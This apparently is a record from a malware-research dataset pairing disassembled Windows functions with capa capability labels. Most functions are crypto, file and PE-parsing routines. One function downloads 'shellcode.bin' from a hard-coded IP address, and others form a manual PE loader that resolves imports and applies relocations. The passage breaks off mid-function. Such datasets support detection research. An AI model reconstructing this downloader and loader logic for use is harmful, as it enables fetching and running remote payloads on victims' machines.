joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ee4a
Capabilities:
Encode data using xor
Encrypt data using aes

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov r12, rdx
mov rbx, rcx
mov byte [rdx + 0xf0], 0xa
mov edx, 4
call fcn.14000efa2
mov edi, eax
mov dword [r12], eax
lea rcx, [rbx + 4]
mov edx, 4
call fcn.14000efa2
mov dword [r12 + 4], eax
lea rcx, [rbx + 8]
mov edx, 4
call fcn.14000efa2
mov dword [r12 + 8], eax
add rbx, 0xc
mov edx, 4
mov rcx, rbx
call fcn.14000efa2
mov dword [r12 + 0xc], eax
xor ecx, ecx
lea r8, [0x140041460]
mov r15d, 0xff
lea r9, [0x140041860]
lea r10, [0x140041c60]
lea r11, [0x140042060]
lea r14, [0x140042460]
mov esi, eax
mov rdx, rsi
shr rdx, 0xe
and edx, 0x3fc
movzx edx, byte [rdx + r8 + 3]
shl edx, 0x18
xor edx, edi
mov rdi, rsi
shr rdi, 8
and rdi, r15
movzx edi, byte [r9 + rdi*4 + 2]
shl edi, 0x10
mov rbx, rsi
and rbx, r15
movzx ebx, byte [r10 + rbx*4 + 1]
shl ebx, 8
xor ebx, edi
xor ebx, edx
shr rsi, 0x18
movzx edi, byte [r11 + rsi*4]
xor edi, ebx
xor edi, dword [rcx + r14]
mov dword [r12 + rcx*4 + 0x10], edi
mov edx, dword [r12 + rcx*4 + 4]
xor edx, edi
mov dword [r12 + rcx*4 + 0x14], edx
xor edx, dword [r12 + rcx*4 + 8]
mov dword [r12 + rcx*4 + 0x18], edx
xor eax, edx
mov dword [r12 + rcx*4 + 0x1c], eax
add rcx, 4
cmp rcx, 0x28
jne 0x14000eedb
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400169f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov rdi, qword [rcx]
test rdi, rdi
je 0x140016a42
mov r11, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
cmp r9, r11
jae 0x140016a42
movzx eax, byte [rdi + r9]
cmp eax, 0x49
je 0x140016a5d
cmp eax, 0x42
jne 0x140016a42
lea rcx, [r9 + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r11
jae 0x140016a9a
cmp byte [rdi + rcx], 0x5f
jne 0x140016a9a
lea rax, [r9 + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140016b92
mov rcx, rsi
xor edx, edx
call fcn.140012450
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc r9
mov qword [rsi + 0x10], r9
mov rcx, rsi
xor edx, edx
call fcn.140012450
test al, al
jne 0x140016a95
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140016b0c
lea rdx, [0x1400454d3]
mov r8d, 1
call fcn.140009e60
test al, al
je 0x140016b0c
mov dil, 2
jmp 0x140016a51
xor eax, eax
mov r10d, 0x3e
nop word cs:[rax + rax]
mov r8b, 1
cmp rcx, r11
jae 0x140016bec
movzx edx, byte [rdi + rcx]
cmp dl, 0x5f
je 0x140016b86
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x140016aef
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x140016ade
add dl, 0xa9
jmp 0x140016aed
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x140016bec
add dl, 0xe3
mov ebx, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul r10
jo 0x140016bec
movzx edx, bl
add rax, rdx
jae 0x140016ab0
jmp 0x140016bec
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x140016a51
xor ebx, ebx
lea r14, [0x1400458ae]
nop word cs:[rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x140016b44
cmp byte [rax + rcx], 0x45
je 0x140016c44
sub rbx, 1
jb 0x140016b69
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140016b69
mov r8d, 2
mov rdx, r14
call fcn.140009e60
test al, al
jne 0x140016a95
mov rcx, rsi
call fcn.140016c50
test al, al
jne 0x140016a95
mov rax, qword [rsi]
test rax, rax
jne 0x140016b30
jmp 0x140016a51
inc rcx
mov qword [rsi + 0x10], rcx
inc rax
je 0x140016bec
cmp rax, r9
jae 0x140016be9
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x140016c3d
cmp qword [rsi + 0x20], 0
je 0x140016c36
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.1400169f0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x140016a53
mov r8b, 1
xor ebx, ebx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140016c2c
lea rax, [0x140045879]
lea rdx, str.recursion_limit_reachedinvalid_syntax
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.140009e60
mov dil, 2
test al, al
jne 0x140016a51
mov qword [rsi], 0
mov byte [rsi + 8], bl
xor edi, edi
jmp 0x140016a51
mov bl, 1
xor r8d, r8d
jmp 0x140016bee
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x140016a51
Function at 0x14002f420
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14002f45f
mov rax, qword [rbp - 0x20]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x14001fbf0]
mov qword [rbp - 0x28], rax
lea rax, [0x140048608]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.1400357c0
ud2

Function at 0x1400352e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003532e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003532e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003532e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003532e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003532e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140035330
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
mov eax, 0x1030
call fcn.140001d00
sub rsp, rax
xor ebx, ebx
lea rcx, str.WinINetExample_1.0
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [rbx + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
jne 0x1400010cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen_failed___d__n
call fcn.140001010
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x1050]
add rsp, 0x1030
pop rdi
ret
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__34.92.246.195_downloads_shellcode.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x14000112b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpenUrl_failed___d__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x1050]
add rsp, 0x1030
pop rdi
ret
lea rdx, [0x140002350]
mov qword [rsp + 0x1048], rsi
lea rcx, str.shellcode.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001175
lea rcx, str.File_open_failed_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rsi + 1]
jmp 0x1400011ff
lea r9, [rsp + 0x1040]
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400011d6
mov eax, dword [rsp + 0x1040]
test eax, eax
je 0x1400011d6
mov r8d, eax
lea rcx, [rsp + 0x30]
mov r9, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rsp + 0x1040]
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001195
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, str.Download_completed._n
call fcn.140001010
xor eax, eax
mov rsi, qword [rsp + 0x1048]
mov rbx, qword [rsp + 0x1050]
add rsp, 0x1030
pop rdi
ret

Function at 0x140001950
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000199a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000199a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000199a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000199a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000199a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000199c
xor al, al
add rsp, 0x28
ret
Function at 0x140001620
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
mov r14, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001690
mov rbp, qword [rdi + 0x18]
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
cmp rbp, 0x10
jb 0x1400016ad
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x4c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400016d0
cmp rsi, rbx
jb 0x1400016d0
jbe 0x140001759
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001680
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000171c
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140001717
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001794
mov rcx, r8
call fcn.140004104
xor eax, eax
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], 0
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400040a0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov ebx, dword [rsp + 0x28]
cmp rbp, 0x10
jb 0x140001790
mov rcx, qword [rdi]
lea rdx, [rbp + 1]
cmp rdx, 0x1000
jb 0x14000178b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001794
mov rcx, r8
call fcn.140004104
mov eax, ebx
jmp 0x14000171e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400017a0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r13
sub rsp, 0x38
movzx eax, word [rdx + 0x14]
lea r9, [rdx + 0x18]
mov r10d, dword [rdx + 0x90]
add r9, rax
movzx eax, word [rdx + 6]
mov rbp, rdx
mov r13, rcx
lea r8, [rax + rax*4]
lea r11, [r9 + r8*8]
cmp r9, r11
jae 0x1400017f2
mov ecx, dword [r9 + 0xc]
cmp r10, rcx
jb 0x1400017e9
mov eax, dword [r9 + 8]
add eax, ecx
cmp r10, rax
jb 0x140001893
add r9, 0x28
cmp r9, r11
jb 0x1400017d1
xor eax, eax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
test r10d, r10d
je 0x14000186b
cmp dword [rdx + 0x94], 0
je 0x14000186b
lea rbx, [rax + 0x10]
movzx edx, word [rbp + 0x14]
movzx eax, word [rbp + 6]
add rdx, 0x18
mov r8d, dword [rbx - 4]
add rdx, rbp
mov qword [rsp + 0x58], rbx
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14000186b
nop dword [rax]
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140001862
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1400018a5
add rdx, 0x28
cmp rdx, r9
jb 0x140001850
mov al, 1
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
add rsp, 0x38
pop r13
pop rbp
ret
mov eax, dword [r9 + 0x14]
sub rax, rcx
add rax, r10
add rax, r13
jmp 0x1400017f4
mov r15d, dword [rdx + 0x14]
sub r15, rcx
add r15, r8
add r15, r13
je 0x14000186b
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
je 0x1400019de
movzx r8d, word [rbp + 0x14]
movzx ecx, word [rbp + 6]
add r8, 0x18
mov r9d, dword [rbx]
add r8, rbp
lea rdx, [rcx + rcx*4]
lea r10, [r8 + rdx*8]
cmp r8, r10
jae 0x14000190d
nop dword [rax]
mov ecx, dword [r8 + 0xc]
cmp r9, rcx
jb 0x140001904
mov eax, dword [r8 + 8]
add eax, ecx
cmp r9, rax
jb 0x140001932
add r8, 0x28
cmp r8, r10
jb 0x1400018f0
xor r14d, r14d
mov rdi, qword [r14]
test rdi, rdi
je 0x1400019c7
jns 0x140001941
xor edx, edx
mov rcx, r15
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
movzx edx, di
jmp 0x140001990
mov r14d, dword [r8 + 0x14]
sub r14, rcx
add r14, r9
add r14, r13
jmp 0x140001910
movzx eax, word [rbp + 0x14]
movzx ecx, word [rbp + 6]
add rax, 0x18
add rax, rbp
lea rdx, [rcx + rcx*4]
lea r8, [rax + rdx*8]
cmp rax, r8
jae 0x14000197b
nop dword [rax]
mov edx, dword [rax + 0xc]
cmp rdi, rdx
jb 0x140001972
mov ecx, dword [rax + 8]
add ecx, edx
cmp rdi, rcx
jb 0x1400019d0
add rax, 0x28
cmp rax, r8
jb 0x140001960
xor esi, esi
xor edx, edx
mov rcx, r15
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rdx, [rsi + 2]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rcx, rbx
sub rdi, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rdi + r12]
mov qword [r14], rax
add r14, 8
mov rdi, qword [r14]
test rdi, rdi
jne 0x14000191c
mov rbx, qword [rsp + 0x58]
add rbx, 0x14
jmp 0x140001824
mov esi, dword [rax + 0x14]
sub rsi, rdx
add rsi, rdi
add rsi, r13
jmp 0x14000197d
jmp 0x14000186d
Function at 0x1400019f0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
push r14
mov r14, rcx
mov rsi, r8
mov rbp, rdx
sub r14, qword [r8 + 0x30]
je 0x140001a4d
movzx r9d, word [r8 + 0x14]
movzx eax, word [r8 + 6]
add r9, 0x18
mov r10d, dword [r8 + 0xb0]
add r9, r8
lea rcx, [rax + rax*4]
lea rdx, [r9 + rcx*8]
cmp r9, rdx
jae 0x140001a4d
nop dword [rax]
mov ecx, dword [r9 + 0xc]
cmp r10, rcx
jb 0x140001a44
mov eax, dword [r9 + 8]
add eax, ecx
cmp r10, rax
jb 0x140001a58
add r9, 0x28
cmp r9, rdx
jb 0x140001a30
mov al, 1
mov rbp, qword [rsp + 0x30]
pop r14
pop rsi
ret
mov qword [rsp + 0x18], rbx
mov ebx, dword [r9 + 0x14]
sub rbx, rcx
mov qword [rsp + 0x28], r15
mov r15d, dword [r8 + 0xb4]
add rbx, r10
add rbx, rbp
add r15, rbx
test rbx, rbx
je 0x140001b6d
cmp rbx, r15
jae 0x140001b6d
mov qword [rsp + 0x20], rdi
mov eax, dword [rbx + 4]
test eax, eax
je 0x140001b53
add eax, 0xfffffff8
shr eax, 1
je 0x140001b44
lea r11, [rbx + 8]
mov edi, eax
nop dword [rax]
movzx r8d, word [r11]
movzx eax, r8w
shr ax, 0xc
and r8d, 0x80000fff
jge 0x140001ad2
dec r8d
or r8d, 0xfffff000
inc r8d
cmp ax, 3
je 0x140001ade
cmp ax, 0xa
jne 0x140001b36
movzx eax, word [rsi + 0x14]
movzx ecx, word [rsi + 6]
add rax, 0x18
mov r9d, dword [rbx]
add rax, rsi
lea rdx, [rcx + rcx*4]
lea r10, [rax + rdx*8]
cmp rax, r10
jae 0x140001b2b
nop dword [rax]
mov edx, dword [rax + 0xc]
cmp r9, rdx
jb 0x140001b12
mov ecx, dword [rax + 8]
add ecx, edx
cmp r9, rcx
jb 0x140001b1d
add rax, 0x28
cmp rax, r10
jb 0x140001b00
jmp 0x140001b2b
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r9
add rcx, rbp
jne 0x140001b2e
mov rcx, rbp
movzx eax, r8w
add qword [rax + rcx], r14
add r11, 2
sub rdi, 1
jne 0x140001ab0
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, r15
jb 0x140001a90
mov rdi, qword [rsp + 0x20]
mov al, 1
mov rbx, qword [rsp + 0x18]
mov r15, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
pop r14
pop rsi
ret
mov rbx, qword [rsp + 0x18]
mov al, 1
mov r15, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
pop r14
pop rsi
ret
Function at 0x140002970
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140002998
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400029be
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400029c0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002a19
test ecx, ecx
jle 0x1400029f9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002a19
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002a19
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140002a40
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002a62
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140002a78
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002a94
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002a96
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002ad2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002b6e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002b0d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002b4e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002b6e
cmp rbx, rax
ja 0x140002b20
test rbx, rbx
je 0x140002b6e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140002fa0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002fcd
xor eax, eax
jmp 0x140003139
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003007
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003007
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003139
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000312c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000304a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003075
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003131
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400030e4
sub eax, 1
je 0x1400030e4
cmp eax, 2
jne 0x14000312c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003131
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003112
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000312c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003131
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400040a0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003660
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003733
cmp byte [rcx + 0x71], 0
je 0x140003733
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000372f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400036f4
sub eax, 1
je 0x1400036f8
cmp eax, 2
jne 0x14000372f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400040a0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003726
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000372f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400036dc
xor al, al
jmp 0x1400036dc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400040a0
add rsp, 0x60
pop rbx
ret

Function at 0x140004a2c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004a76
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004a76
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
